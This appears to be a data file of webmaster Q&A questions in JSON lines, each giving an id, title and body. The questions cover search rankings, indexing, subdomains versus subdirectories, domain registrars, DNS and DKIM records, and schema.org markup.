{"id":"47193","title":"Google Webmaster Tools Index Status is 0","text":"Statistics show all entries of my wordpress blog have been tracked, but none have been indexed. I thought it would be just a matter of indexing delay, but it has been 3 weeks already, and I can find the entries on google when I query the entry name, (e.g \"relaxacion.com musica para dormir bebes\" shows at the bottom of search results first page) Is there any problem with my wordpress setup?"}
{"id":"16288","title":"How can I bring my website up in the google search result?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I have developed my website few months ago and I added meta tags and described everything as much as I could but my site is still not on the top when I search kashif ejaz on google. Please help !"}
{"id":"50023","title":"After replacing all tables in an old website with divs, what other steps should I take?","text":"I have designed a website a few years back, and it ranks pretty well, customer is happy, no problems there. I took one of the pages and replaced manually all the tables with `<div>`, used structured data and got the website to look exactly the same. I would like to know what other steps should I take to improve or at least not hurt this page's rank, or if perhaps I should just not bother altogether. What are best practices here? By the way, the page is not live yet."}
{"id":"35517","title":"Google crawls my website too slowly","text":"> **Possible Duplicate:** > What are the best ways to increase a site's position in Google? I think Google crawls it too slowly (every three days). I updated it daily and it's kind of frustrating. Should I build more backlinks? The robots.txt looks ok."}
{"id":"54482","title":"Why isn't my website ranking highly and what can I do to improve it?","text":"What I can improve to make my website rank better on search engines for my target keyword - \"address labels\". I've tried a lot of things to make it better but I'd love to hear some more suggestions! the address is www.thelabelroom.co.uk"}
{"id":"55014","title":"Increase traffic to site","text":"I have made a social networking site and it's been on the web for over 6 months and it has over 8,000 members but I want it to grow bigger. What tools\/methods can I use to grow its popularity? e.g CEO, PPC advertising Tools\/methods requiring money and without and comparisons? Thanks in advance, Jack."}
{"id":"21845","title":"How to be on google first page results?","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I searched the web and find a lot of \"techniques\" to be on the first page results of google or yahoo. Is it possible to pay for that?"}
{"id":"25417","title":"Site not indexed in Google, but indexed in Bing and Yahoo","text":"When I search for mytgp.ph on Google, I don't get any relevant results. But when I search using Yahoo or Bing, the site is the 1st result on the first page. Any ideas? Here's my `site:mytgp.ph` query on Google: "}
{"id":"57786","title":"Our indexed website appearing and disappearing from Google SERP","text":"Our website www.skadate.com used to appear on Google search when searching for a keyword \"dating software\", now it doesn't. It doesn't come by any other keyword (it used to come up with) as well. Sometimes our index page appears on SERP, sometimes doesn't', usually a PHP page appears. Why is it happening, any ideas?"}
{"id":"61673","title":"cannot find my site in Google\/Bing - live 4 months","text":"I have a site, led-lights.ie, which went live in January and it is still getting just a handful of visitors a day. I cannot find it searching Google using various terms even after going through over 20 pages of results. However, site:led-lights.ie shows over 100 pages in google also its images are indexed. Google WMT tools shows no errors and that the XML sitemap has been processed. An Alexa site audit got a score of A\/91%, (SEO \/ Performance \/ Security \/ HTML scored A, Reputation C ) only issues being Duplicate or long title tags and duplicate meta descriptions. As far as I can tell, the domain is “new” i.e. no previous usage or penalties. Can anyone see if I’m missing something obvious with this site SEO wise? Thank you."}
{"id":"47923","title":"How to get the content right for better showing in google results","text":"I am looking for basic help or guidelines for making my site earn better visibility in google and other search engine results. My site is a price- comparison engine for products so I want to know what shall feature in my meta keywords, meta description, images and content. For example, you can think of Nokia Lumia 920 as one of the products."}
{"id":"25585","title":"SEO\/performance - building blog article page","text":"> **Possible Duplicate:** > What are the best ways to increase your site's position in Google? I've been using WP up and until now, but want to spread my wings and build a bespoke blog for my website. The reason I want my own blog is that I cannot get my WP site to match the branding\/design of my main website, and because my blog is very basic, there is a ton of stuff on WP that I really don't need. I'm using ASP\/Windows IIS7 and the URL rewrite module, which is all working fine (tested), plus I've built my database and administration pages. I'm now about to tackle the article page itself. Before I get started with it, I would like to hear some suggestions\/ideas\/tips on building the page correctly, mainly for enhancing SEO rankings, but for general performance too. I know using heading tags (h1-h6), paragraph tags (p), and alt\/title attributes will enhance rankings if used correctly. I'm also familiar with meta keywords and description tags, especially being dynamically produced. What other building requirements are there that will help with successful SE ranking and general performance? Is there anything else I should be aware of when building this article page? And also, I'm not bothered that my user cannot remember the URL of the page, but will using a URL like www.mydomain.com\/articles\/12334435544 be a problem to SE's, using only numbers (representing article ID) and no text?"}
{"id":"8507","title":"What is the best way to get robots to crawl your site from google?","text":"> **Possible Duplicate:** > Why isnt google crawling on my blog? What is the best way to get robots to crawl your site from google? With reference to our site [site elided]"}
{"id":"19391","title":"Sitemap and url are laid out differently from each other","text":"There is a website and the layout looks something like below: home->approved-> education entertainment business | | | kid, teenager, adult kid, teenager, adult kid, teenager, adult | | | and so on.. and so on.. and so on.. home->not approved-> education entertainment business | | | kid, teenager, adult kid, teenager, adult kid, teenager, adult | | | and so on.. and so on.. and so on.. **On homepage, one would see two links - approved and not-approved.** Once you click on any of the links, relevant entries will come up and then both pages also have filters on top for further drilling, see above. Urls are organized like below: Home\/Approved will pull up all entries. Home\/Approved\/Education will pull up education only (and so on). Home\/Approved\/Education\/Kid will pull up educational kid only (and so on). **I am planning to organize my sitemap to have two static parent nodes - approved and not approved, and then add all entries dynamically to the sitemap to these two parent nodes and not include sublevels in sitemap at all.** Do you see any problem\/pitfall with this approach - in terms of seo or anything else?"}
{"id":"27808","title":"What should a page's minimum word count be in order to be effectively indexed?","text":"> **Possible Duplicate:** > Ideal word count per web page? I'm seeding a new site with hundreds of (high quality) posts, but since I am paying per word written, I'm wondering if anybody in the community has any anecdotal evidence as to how many words of content there should now be for a page to be counted just the same as a 700 word+ post, for example? I know there are always examples of pages ranking well with, for instance, 50 words or less of content, but does anyone have any strong evidence on what the minimum count should be, or has anyone read anything very informative in regards to this issue?"}
{"id":"26572","title":"command-line zip not working","text":"I have a Wordpress site on a Debian\/Linux dedicated server, with a Backupbuddy plugin for making automatic backups. The plugin, however, gives an error 'Your server does not support command line ZIP'. My knowledge of Linux commands is very limited, but I managed installing zip with the command `sudo apt-get install zip` However, I still get the same error message. Plugin documentation mentions the problem could also be caused by disabled exec() or safe_mode - but exec isn't disabled, and safe_mode is off. Any ideas what might be causing this, or how to fix it? The only thing I could think of, is it might be caused by wrong permissions?"}
{"id":"37792","title":"Remove SSL from Google Search results","text":"I am working on a WordPress site that serves up HTTP pages statically. The problem is that some of the pages are shown as HTTPS in Google Search results. For instance, if the search term \" _Example Press Kit_ \" is entered the search result site link comes up as: https:\/\/example.com\/presskit\/ We don't have a site SSL certificate, so surfers are being bounced. I have tried everything. Most recently I created a new website in Google WebAdmin for the HTTPS version of our home page. Then, I added site links that should have redirected site links intended for `https:\/\/example.com\/*` to `http:\/\/example.com\/*`, but it doesn't work! Google still shows a dead link to `http:\/\/example.com\/presskit`. I didn't think dead links lasted very long on Google results, but there they are, two weeks later. Any ideas? A `301 redirect` won't work because the site doesn't even allow redirection from HTTPS. It is served by CloudFlare."}
{"id":"46866","title":"How do Expires headers and cache manifest rules work together?","text":"I find the W3C's official Offline Web Applications specification to be rather vague about how the cache manifest interacts with headers such as ETag, Expires, or Pragma on cached assets. I know that the manifest should be checked with each request so that the browser knows when to check the other assets for updates. But because the specification doesn't define how the cache manifest interacts with normal cache instructions, I can't predict precisely how the browser will react. Will assets with a future expiration date be refreshed (no matter the cache headers) when the cache manifest is updated? Or, will those assets obey the normal caching rules? Which caching mechanism, HTTP cache versus cache manifest, will take precedence, and when?"}
{"id":"38502","title":"Redirection based on user's location","text":"I'm about to redirect my French users from mysite.com to mysite.fr. Is it possible using **DNS CNAME records** or should I write some **GEOLocation** codes to do that? I will appreciate any other ideas. Regards, Shakib"}
{"id":"54169","title":"Does iframe affect SEO of its parent page?","text":"I would like to know that, does _iframe_ affect the SEO of its parent page (the page contains _iframe_ )? I've done some searching, such as Do we still need to avoid using frame\/iframe for good SEO? and Using iFrame: SEO and Accessibility Points, which tell me that: * **The content in an iframe** is not considered part of the parent page. * **The page within an iframe** may be spidered and indexed (or it may be not) but no PR is definitely passed. But these are the content **in the iframe** , what about the parent page? Does the PageRank of the parent page will decrease because the _iframe_? Or maybe Googlebot wouldn't crawl the parent page? Or is the parent page not affected at all?"}
{"id":"38506","title":"Does browser understand PHP?","text":"I know that PHP is server side scripting language, but I got confused when asked in an interview if the browser understands PHP? I have Apache installed in my system. If in a PHP file I write `<?php echo 'HELLO' ?>` and I open it in a browser it shows HELLO. Now how does it happen if the browser does not understand PHP?"}
{"id":"3513","title":"Using CSS sprites and hidden text - effect on SEO?","text":"I am using CSS sprites for buttons on my website, They are used for stop\/play\/download etc. If I'm using for example an `<i class=\"preview\">preview \"track name\"<\/i>` play button with the text then I hide the text using `text-indent:-9999px`. Would this be enough to get penalised? (keep in mind there can be 60 products per page and each will have 3 sprites with hidden text!)"}
{"id":"68170","title":"practical reasons for using separate domains instead of subdomains?","text":"Quite often, I see web sites that draw resources from multiple domains. Made up example: Foo Bar Ltd has a main web site at foobar.com, which references files at fbltdcdn.com and foobar-rewards.net. They send emails directing people to foobarlatestmarketingslogan.com, which immediately makes me think \"phishing scam\". Why is this a common practice, rather than using cdn.foobar.com, rewards.foobar.com, slogan.foobar.com, etc?"}
{"id":"2685","title":"Set the base url of any menu item in Joomla","text":"I'm not sure if this belongs here, superuser or stackoverflow I'm using virtual domains, which means that www.company.com has one template www.community.com has another template user accounts are shared the site is also in 2 languages now there is a common global Menu navigation and some links should be on the company.com url and some on the community.com url. however menu links stay on the current domain I'm on for example: 1. i'm on company.com\/de\/about 2. click on forum link 3. want to land on community.com\/de\/forum however I land on company.com\/de\/forum but i don't want to use \"external links\" because if I am on community.com\/en\/forum and click on about link i need the url to be company.com\/en\/about so the urls still need to be dynamic for language support. In other words I want to be able to set the base url of any menu item no matter what component, where should I start? Thanks!"}
{"id":"1198","title":"Subdomain versus subdirectory","text":"I recently moved from having a main site like `www.example.com` with a subdomain associated site `yyy.example.com`, to moving everything off the subdomain to a subdirectory like `www.example.com\/yyy\/`, with the same hierarchy underneath the subdirectory, and now `yyy.example.com` is just a redirect page to the subdirectory, so `yyy.example.com\/abc\/page-x` is redirected to `www.example.com\/yyy\/abc\/page-x` and so on. The effect has been that the traffic increased by several times (the total page views are more than ten times at the present rate) what it was to the `yyy` subdomain. Previously almost all of the traffic to the `yyy` subdomain was from the `www` site. This is from monitoring the old `yyy` site for a year or more. I'm curious to know if there's any research or results which would indicate whether this is universal (subdirectories beat subdomains) or \"just me\"."}
{"id":"68593","title":"Do I get penalized for hosting a blog in a subfolder?","text":"First of all, I know this is an ongoing debate, I’ve read forums and seen different opinions but I’m still confused. Here’s my problem. I’ve started my website from scratch (design and code) and now after a couple of months I realized that it’s not very SEO friendly and my search traffic is close to none. As a result I decided to add a Wordpress blog to it as it’s SEO friendly out of the box and has some good plugins like Yoast. My problem here is that I don’t want my current website to affect the blog section (get lower search results on the blog because my website is poorly optimized). On the other hand, I already have a couple of backlinks to my current website because I keep releasing design freebies and people share those (would those links benefit my blog?). As I understood, if you make a blog on a subdomain, then google will treat it as a new website in which case the backlinks won’t help me. If I choose to go with a subfolder then I may benefit from the backlinks but wouldn’t I get penalized because of the existing website which is poorly optimized and maybe has a couple SEO issues that Google doesn’t like?"}
{"id":"50269","title":"Optimize SEO: 2 websites or 1 main website and subdomain?","text":"I'm working on a WordPress website of a little company, let say: `www.xxx.com`. Now they want a different website for their workshops. What is the most optimal construction thinking of SEO? 1) `www.xxx.com` + `www.xxx-workshops.com` 2) `www.xxx.com` + `www.xxx.com\/workshops` 3) `www.xxx.com` + `workshops.xxx.com`"}
{"id":"65539","title":"SEO and multiple simple websites","text":"From a **SEO point of view** , which one is \"better\" for a not so little company: **Having one huge site** containing everything regarding the company **or having multiple one?** I think one site is better, because it is easier to optimize and advertise, but I just started working in a company, where we have multiple simple websites (almost single page) to handle offer requests. My boss don't want this site structure changed. (These sites have no connection at all, but the first thing I would do is link them and by linking I mean adding a page where there are links to the other pages). It is easier to explain through an example. We have domains structured like this (not the real ones): * forkliftparts.com : for forklift parts * forkliftseat.com : for ordering seats * forklifttire.com : handling orders regarding tires * forkliftbattery.com : and for batteries * ... The sites are basically the same, with a little color difference. Should I start advertising the pages separately? What could I do to improve the standing in search engines? The sites are built with WordPress and with the use of SEO plugins, so I am more interested in **off-site seo**."}
{"id":"16468","title":"Wordpress installation - Subdomain or as folder?","text":"> **Possible Duplicate:** > Subdomain versus subdirectory I got a client portfolio website and he opens a Wordpress blog with articles related to his profession. What the best for SEO - install it as subdomain or as folder? www.myclientsite.com\/blog\/ or blog.myclientsite.com This is fresh domain without any previous content."}
{"id":"41003","title":"SEO and location targeting , sub-domain or sub-directory?","text":"> **Possible Duplicate:** > Subdomain versus subdirectory With regards to say a national service that has locations based in 10 cities. Each city needs to have individual content, such as blogs, info pages, etc. Is it better to have (or does it matter): `chicago.example.com` or `example.com\/chicago` Furthermore if I go with a subdirectory and each city has a blog, how do I enable it so the blog only effects its parent. For example `example.com\/chicago\/blog` should not affect `example.com\/washington`"}
{"id":"23733","title":"example.com\/blog vs blog.example.com","text":"> **Possible Duplicate:** > Subdomain versus subdirectory I'm about to start my own blog (adding it to a domain already owned by me) and I'm wondering what is the best way to set it up. There are two common alternatives for blogs: `domain.com\/blog` and `blog.domain.com`. My question is: what are the advantages and disadvantages and of each alternative and which one do you think is the best? (in terms of SEO, etc)"}
{"id":"56492","title":"SEO: Is it ever good to use subdomains?","text":"I just built a site that I split up as follows: www.MAINDOMAIN.com --> a landing page the redirects you to one of the following pages blog.MAINDOMAIN.com --> a blog restaurants.MAINDOMAIN.com --> a page that lists restaurants shops.MAINDOMAIN.com --> a page that lists shops Problem is, won't google see his as 4 seperate domains? i.e Would I not have been better off with something like this: www.MAINDOMAIN.com www.MAINDOMAIN.com\/blog www.MAINDOMAIN.com\/restaurants www.MAINDOMAIN.com\/shop"}
{"id":"61729","title":"Benefits of placing keywords in domain name","text":"I'm now considering the site structure and I need to choose between productname.mysite.com and mysite.com\/productname URL format. Question is the following: is there any ranking reasons to use first type of URL or the difference is behavior factor? If the difference is minor I'd choose the second URL type as it is simpler to handle (Google Analytics and Google Webmaster Tools are not really friendly to multi-domain sites)."}
{"id":"13586","title":"Better SEO from sub-directory or sub-domain?","text":"> **Possible Duplicate:** > Subdomain versus subdirectory I'm working on a site that will act as a sort of companion site or sub-site to my main site. Is there a difference in SEO of setting it up on a sub-domain or sub- directory?"}
{"id":"56182","title":"For SEO purposes, should I put my blog on a webpage or a subdomain?","text":"For example if I want to post under a webpage called “blog”, should I make that `example.com\/blog\/category\/article` or `blog.example.com\/category\/article`, assuming that example.com has an about page, a music page, a merchandise page? What is best for SEO, or does it even make difference?"}
{"id":"22756","title":"Keyword in sub-domain good or keyword in sub folder? Which is good to manage?","text":"> **Possible Duplicate:** > Subdomain versus subdirectory Keyword in sub-domain good or keyword in sub folder keyword.abc.com or abc.com\/keyword\/ Which of this two is good to manage?"}
{"id":"54542","title":"What do you call the effect when you gray out the background behind a dialog?","text":"What do you call that effect? Looks like this "}
{"id":"24651","title":"Best Practise for Micro-Sites that Google will not consider to be doorways","text":"On behalf of my client, I have purchased a few really good URLs, to assist with their SEO. I want to understand whether my proposed use of these domains, as micro-sites to _encouraged_ visitors to visit the main site, will result in blacklisting. Here's my invented example: 'Farmaceuticals' Ltd. They sell big, purple Tractors. I would like to know whether is acceptable practise thesedays. If not, can something be done with micro-sites that is acceptable? Apart from the desired action of users clicking through to the main site, I want to ensure all other features are above-board, such as not using hidden keywords and focusing each site on one specific feature. Examples: * www.bigtractors.com: _\"Farmaceuticals Ltd sell some of the biggest tractors anywhere. Here's a link to the website: www.farmaceuticals.com\"_ * www.purpletractors.com: _\"Farmaceuticals Ltd sell some of the most purple tractors anywhere. Here's a link to the website: www.farmaceuticals.com\"_ What makes a micro-site a destination worth ranking, and not to be seen as a direct doorway to redirect visitors? One _extreme_ step could be to provide content that its completely unique to each micro-site, and does not appear on the main site. But, I wonder whether despite all efforts, having a link to take people elsewhere will make each micro-site appear as a 'doorway' whatever I do?"}
{"id":"14620","title":"Will using social submitting\/seo marketing tools harm my site in the long run?","text":"I'm looking to drive more traffic to some blogs I maintain. We've had good success with submitting to sites like Reddit and Digg but the process is long and tedious with the amount of content we have. I saw products like Social Submitter and xgenseo that automatically create accounts (scarily xgen also creates dummy yahoo mail accounts and even solves the captcha) and submits articles for you. The tools seem like an extremely easy way of building up back links on relevant and important social sites without the tediousness of doing it manually. The only thing I'm worried about is that using tools like this will eventually harm my blogs traffic. Does anyone have any experience with such tools or opinions on the subject?"}
{"id":"63113","title":"Why won't webmail receive emails from outside my domain?","text":"I'm new to GoDaddy Linux cPanel web hosting. I've created multiple email accounts @my-domain using cPanel. These addresses can send mail successfully to each other and also to any other email account outside my domain (like Gmail). But all emails @my-domain can only receive email from each other not from outside my domain. That is, if I send an email from my Gmail to my @my-domain account it doesn't appear in my @my-domain account web mail inbox. Why is this happening and what's the solution?"}
{"id":"65225","title":"What is the meaning of this sitemap error in Google Webmaster Tools?","text":"In my Google Webmaster Tools, I received an error which I am not understanding: > When we tested a sample of the URLs from your Sitemap, we found that some of > the URLs were unreachable. Please check your webserver for possible > misconfiguration, as these errors may be caused by a server error (such as a > 5xx error) or a network error between Googlebot and your server. All > reachable URLs will still be submitted. I received this warning for a URL that is currently working perfectly. Can you please tell me if this a serious warning, or what it means?"}
{"id":"38644","title":"Google Blogger Website CName and\/or Text File Issues","text":"I have a blogger Blog website and I would like to have it show up on my company website. I have read a couple articles out there on how to do it. A hand full of them talk about using FTP which is old and no longer available. However, I am trying to following along with this one: http:\/\/www.infinite42.com\/small-business\/integrate-blogger-blog-website Which seems pretty easy but I am having a problem getting Google to Verify the DNS CName or Text Record that I created on my Windows 2007 Server. Do I need to create this record at the registrar level. Right now the domain is setup at the registrar to point the www record to my server where on my server I tried the Txt Record and the CName Record with no luck in DNS. Here are the Google instructions for creating a CName file record in DNS: Follow the steps below to create a DNS (Domain Name System) record that proves to Google that you own the domain. Add the CNAME record below to the DNS configuration for abc.com. CNAME Label \/ Host: CNAME Destination \/ Target: Click Verify below. When Google finds this DNS record, we'll make you a verified owner of the domain. (Note: DNS changes may take some time. If we don't find the record immediately, we'll check for it periodically.) To stay verified, don't remove the DNS record, even after verification succeeds. Here is the link to do it with a CName: http:\/\/googlewebmastercentral.blogspot.com\/2012\/08\/domain-verification-using- cname-records.html When I go to add my CName record on my server's DNS the only two fields available are Alias Name and Fully Qualified Domain Name. How am I suppose to create this record can someone please tell me? Thanks, Frank"}
{"id":"58218","title":"AdSense: Will Google ban me if I list \"No ads\" as a reason to sign up at my site?","text":"Can't find anything about this in Google AdSense's TOS. Basically I want to remove ads for logged in users on my site -- but will Google allow me to use this as a value proposition on my front page? > Sign up today for extra benefits: > > * No ads > * Personalized profile page > * Bla bla >"}
{"id":"62886","title":"Homepage redirect and impact on SEO?","text":"My website is basically a gallery of pictures that I display one at the time (as seperate posts). I have no need for a landing page and so I redirect all users who visit the homepage to a random post: <?php if (have_posts()) { query_posts('orderby=rand'); while (have_posts()) { the_post(); wp_redirect(get_permalink(), 302); } } ?> My homepage is still\/and should be the most visited page and so I am wondering if the redirection will have any negative impact on SEO."}
{"id":"68289","title":"How to stop browser from rejecting my downloads?","text":"I have a portfolio site where I am trying to host some of my work, so people can download my work. Some of these files include exe executables, and some are `.jar` executables, which are run through batch. When a user tries to download my apps, it says that the file is not commonly downloaded and may be harmful, and therefore blocks the download. If I zip the folders, it still does the same thing. Any format I choose, still blocks the downloads. How can I stop chrome from doing this. Is there a way I can verify my files so they will be considered as trusted?"}
{"id":"58213","title":"Why is my DKIM invalid?","text":"When I use http:\/\/dkimcore.org\/c\/keycheck to test my DKIM it says This is not a good DKIM key record. You should fix the errors shown in red. DNS query failed for 'key1._domainkey.board67.com':NXDOMAIN A public-key (p=) is required But I do have a public key  Now I am getting this error: p= MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCvjT4cF+\/SV69t38ihp7TOMZ2m ruxwtcicE\/DmuZJdMcHuEmN9iN03Q8wMdU4TFeirkF79nJMh4wDma1N2LGUiOZrv j1YtCpKZZRlV0IAr7MtA7jjaBEGNU5EsWYcZXriGhkyzl39TXdVIaBuuuqWBN9lk pD+jlA6zCM3nPL6b1wIDAQAB The p= field must be base64 encoded"}
{"id":"57390","title":"Google doesn't show my site's results even for a direct search","text":"> In order to show you the most relevant results, we have omitted some entries > very similar to the 21 already displayed. > > If you like, you can repeat the search with the omitted results included. When I do a direct search for my blog. This is very disturbing because I've created more than a dozen articles and none are shown in the SERPs for a direct search. The only way to view my pages seems to be on the third page when all the results are exhausted there's the text I've paste above and it's linked. Now clicking that link is the only way to view my pages. You can check this phenomenon out here: http:\/\/google.com\/search?q=moviesreva.blogspot.com\/"}
{"id":"38649","title":"Feedburner is Displaying an Inactive Email Address When Logged In","text":"I have set up a Feedburner subscription through my Google account login. For some reason Feedburner displays an old inactive email address in the top right when logged into Feedburner. I'm concerned since I don't have access to this email account. If for any reason I need to move my Feedburner Feed I'm concerned I'll need to access this email account which is impossible. My email address is correct in every other Google account, profile etc. and has been updated to a working and correct email address. How can I change this? Do I need to be concerned?"}
{"id":"58760","title":"What images to use when using a post to a link","text":"I want to be able to use some kind of images for when I put up a post to a link (story, article somewhere else on the web), but what's the rules for what images I can use? can I use an image from the source that I'm linking to? or do I have to completely use stock images?"}
{"id":"57366","title":"Schema.org: Having a Product as \"about\" property","text":"I want to define a Product as the main content of a webpage using Schema.org markup. My idea with the following HTML is to use the structure: - Webpage -- WebPageElement (mainContentOfPage of Webpage) --- Product (about of WebPageElement which is mainContentOfPage of Webpage) However, using this markup, Google does not seem to recognize the Product properties such as the aggregateRating. The \"structured markup tool\" is only satisfied if I remove the \"about\" property on Product. But then the structure breaks into: - Webpage -- WebPageElement (mainContentOfPage of Webpage) -- Product Product is no longer a part of WebPageElement. Even if I use the property \"mainContentOfPage\" directly on the Product node, I get the same result: The Product is not recognized properly. It seems like the Product node cannot have any itemprops. **So how should I proceed?** <body itemscope itemtype=\"http:\/\/schema.org\/WebPage\"> <div itemscope itemtype=\"http:\/\/schema.org\/WebPageElement\" itemprop=\"mainContentOfPage\"> <div itemprop=\"about\" itemscope itemtype=\"http:\/\/schema.org\/Product\"> <h1 itemprop=\"name\">Acme Toaster Oven<\/h1> <div itemprop=\"description\">It toasts AND bakes.<\/div> <div itemprop=\"aggregateRating\" itemscope itemtype=\"http:\/\/schema.org\/AggregateRating\">Rated <span itemprop=\"ratingValue\">3<\/span>\/5 based on <span itemprop=\"reviewCount\">2<\/span> reviews<\/div> <div itemprop=\"review\" itemscope itemtype=\"http:\/\/schema.org\/Review\"><span itemprop=\"name\">A great toaster<\/span> - by <span itemprop=\"author\">John<\/span>, <meta itemprop=\"datePublished\" content=\"2013-10-16\">October 26, 2013 <div itemprop=\"reviewRating\" itemscope itemtype=\"http:\/\/schema.org\/Rating\"><span itemprop=\"ratingValue\">5<\/span>\/5<\/div> <span itemprop=\"reviewBody\">First I had bread. Then I had toast. Magic!<\/span> <\/div> <div itemprop=\"review\" itemscope itemtype=\"http:\/\/schema.org\/Review\"><span itemprop=\"name\">A small oven<\/span> - by <span itemprop=\"author\">Mary<\/span>, <meta itemprop=\"datePublished\" content=\"2013-10-16\">October 26, 2013 <div itemprop=\"reviewRating\" itemscope itemtype=\"http:\/\/schema.org\/Rating\"><span itemprop=\"ratingValue\">1<\/span>\/5<\/div> <span itemprop=\"reviewBody\">My 18-pound turkey wouldn't fit in this thing.<\/span> <\/div> <\/div> <\/div> <\/body> The HTML can be tested here: http:\/\/www.google.com\/webmasters\/tools\/richsnippets ## Update After experimenting with \"itemref\", I got pretty good results with this code in Google's tool and Yandex and the Structured Data Linter. <body itemscope itemtype=\"http:\/\/schema.org\/WebPage\"> <div itemscope itemtype=\"http:\/\/schema.org\/WebPageElement\" itemprop=\"mainContentOfPage\"> <meta itemprop=\"about\" itemscope itemtype=\"http:\/\/schema.org\/Product\" itemref=\"theProduct\" \/> <\/div> <div id=\"theProduct\"> <h1 itemprop=\"name\">Acme Toaster Oven<\/h1> <div itemprop=\"description\">It toasts AND bakes.<\/div> <div itemprop=\"aggregateRating\" itemscope itemtype=\"http:\/\/schema.org\/AggregateRating\">Rated <span itemprop=\"ratingValue\">3<\/span>\/5 based on <span itemprop=\"reviewCount\">2<\/span> reviews<\/div> <div itemprop=\"review\" itemscope itemtype=\"http:\/\/schema.org\/Review\"><span itemprop=\"name\">A great toaster<\/span> - by <span itemprop=\"author\">John<\/span>, <meta itemprop=\"datePublished\" content=\"2013-10-16\">October 26, 2013 <div itemprop=\"reviewRating\" itemscope itemtype=\"http:\/\/schema.org\/Rating\"><span itemprop=\"ratingValue\">5<\/span>\/5<\/div> <span itemprop=\"reviewBody\">First I had bread. Then I had toast. Magic!<\/span> <\/div> <div itemprop=\"review\" itemscope itemtype=\"http:\/\/schema.org\/Review\"><span itemprop=\"name\">A small oven<\/span> - by <span itemprop=\"author\">Mary<\/span>, <meta itemprop=\"datePublished\" content=\"2013-10-16\">October 26, 2013 <div itemprop=\"reviewRating\" itemscope itemtype=\"http:\/\/schema.org\/Rating\"><span itemprop=\"ratingValue\">1<\/span>\/5<\/div> <span itemprop=\"reviewBody\">My 18-pound turkey wouldn't fit in this thing.<\/span> <\/div> <\/div> <\/div> <\/body> The only side effect is that the reviews and aggregateRating seem to connect to both the WebPage and the Product. I don't know if that's bad."}
{"id":"29386","title":"Is there a domain search tool on the web that works well?","text":"I would like to search for all available domains ending with a particular word. The best tool I've found for this so far is domainsbot, but it doesn't seem to work as it should (it will only give you the first 10 or so results for your criteria) Does anyone know of a good tool on the web for this type of search?"}
{"id":"61174","title":"What schema.org should be used for User Profiles?","text":"I might be taking this a little too far outside of the box but I'm curious about what Microdata from schema.org to use for a user-profile on my site. On the front page for instance (`http:\/\/www.findgamers.us`), a random gamer profile loads every time the page is loaded. Would I use the Person schema.org hierachy to make that structured data?"}
{"id":"52741","title":"Can minification in Google PageSped service break Adsense?","text":"A few days ago I applied for Adsense account. But it was rejected due website being down. Here is the full message: We did not approve your application for the reasons listed below. Issues: * Difficult site navigation * * * Further detail: Difficult site navigation: While reviewing your site, we found that it was down. Google ads may not be published on a site that is not fully launched, functioning, or easily navigable. Once your site is functioning and has enough content for our specialists to review, we will be happy to reconsider your application. If there is a typo in the URL submitted, you can resubmit your application with the correct site by following the directions below. I monitor uptime using Pingdom. The site was not down for a single minute during this period. In fact during last month it was down for only 2 minutes. I may have may have singled out the problem: I'm using Google **PageSpeed** service. This service has a **JavaScript minification** option. What it did was was strip the comment and `<!-- \/ -->` tags from Adsense code. So the Adsense code for my site which was originally like this: <script type=\"text\/javascript\"><!-- google_ad_client = \"ca-pub-xxxxxxxxxxxxxxxx\"; \/* Top Of Post *\/ google_ad_slot = \"4962340904\"; google_ad_width = 728; google_ad_height = 90; \/\/--> <\/script> <script type=\"text\/javascript\" src=\"http:\/\/pagead2.googlesyndication.com\/pagead\/show_ads.js\"> <\/script> looked like this: <script type=\"text\/javascript\">google_ad_client=\"ca-pub-xxxxxxxxxxxxxxxx\";google_ad_slot=\"4962340904\";google_ad_width=728;google_ad_height=90;<\/script> <script type=\"text\/javascript\" src=\"http:\/\/pagead2.googlesyndication.com\/pagead\/show_ads.js\"><\/script> I have disabled minification. Can someone confirm this was the problem ? And how should I proceed with reapplication ?"}
{"id":"13059","title":"Back link report","text":"Is there an application or site that can generate a back link report for a give web page? The sort of information I'd like to see in this report, for each back link, would be: 1. Page's Title 2. Page's PageRank 3. Page's URL"}
{"id":"9","title":"Who is a great domain registrar company?","text":"I have used numerous domain registrars in the past, including Godaddy, 1&1, Host Monster, IX web Hosting, the list goes on. (not talking about hosting) I currently use GoDaddy, however, I'm not to happy with them. I need a great registrar! One who: * makes transferring easy * registration pain free, no up-selling * has great domain management * has amazing customer service Maybe such a company does not exist. I don't know. Do you know of one?"}
{"id":"10746","title":"Domain Registration","text":"> **Possible Duplicate:** > Who is a great domain registrar company? Hi, I'm about to make my first domain purchase, actually I'm going to buy in bulk ... Any idea about a good host and registrar? I`m looking for a good host with lots of features and not expensive."}
{"id":"46962","title":"Suggestion for cheap but good domain-registrar for com, org or net?","text":"Does anybody have recommendations for good - but cheap - domain-registrars for the com, org or net domain? I'm not after hosting, just registering a few domain-names (unless there's a _really_ good package-deal). Lower prices when registering multiple domains would be a plus. I'm after good personal experiences here... PS: I am going to use the domain, either host them myself or get a web-hotel later... it's not just to register and park indefinitely."}
{"id":"54173","title":"What is 'lack of original content'?","text":"It is written everywhere that lack of original content is has a negative impact on ranking. But what is lack of original content? (I am not talking about duplicate content) I guess if you copy other site's content, this makes sense. But, assuming one develops its own functionalities, but similar functionalities are already available on other sites, is this considered lack of original content? Can Google decide to not index such pages (i.e., not give them a chance at all)? Are there other definition of 'lack of original content'?"}
{"id":"18707","title":"Google Analytics \"Goals\" .. numbers seem inflated?","text":"When I look at the Google Analytics goal report for yesterday, it shows that I had 3,000 conversions for a given goal - 74% completed, and 6% abandoned. * Where is the missing 20%? * My numbers show more like 500 conversions for this goal. Why are Google's numbers so different?"}
{"id":"18704","title":"Return first image source from google images","text":"Is there a way to fetch the first image source from google search if I have a search term? For example if input is `tomato`, ouput would be `http:\/\/www.cksinfo.com\/clipart\/food\/fruits\/tomatoes\/tomato.png` Thanks!"}
{"id":"33859","title":"Three-month freeze on domain transfers?","text":"I am planning on hosting a web app on Google App Engine. I am planning on buying the domain from GoDaddy. Will I have to wait 3 months before I can transfer the domain from GoDaddy to GAE (or at least change the DNS settings to point to the GAE severs)?"}
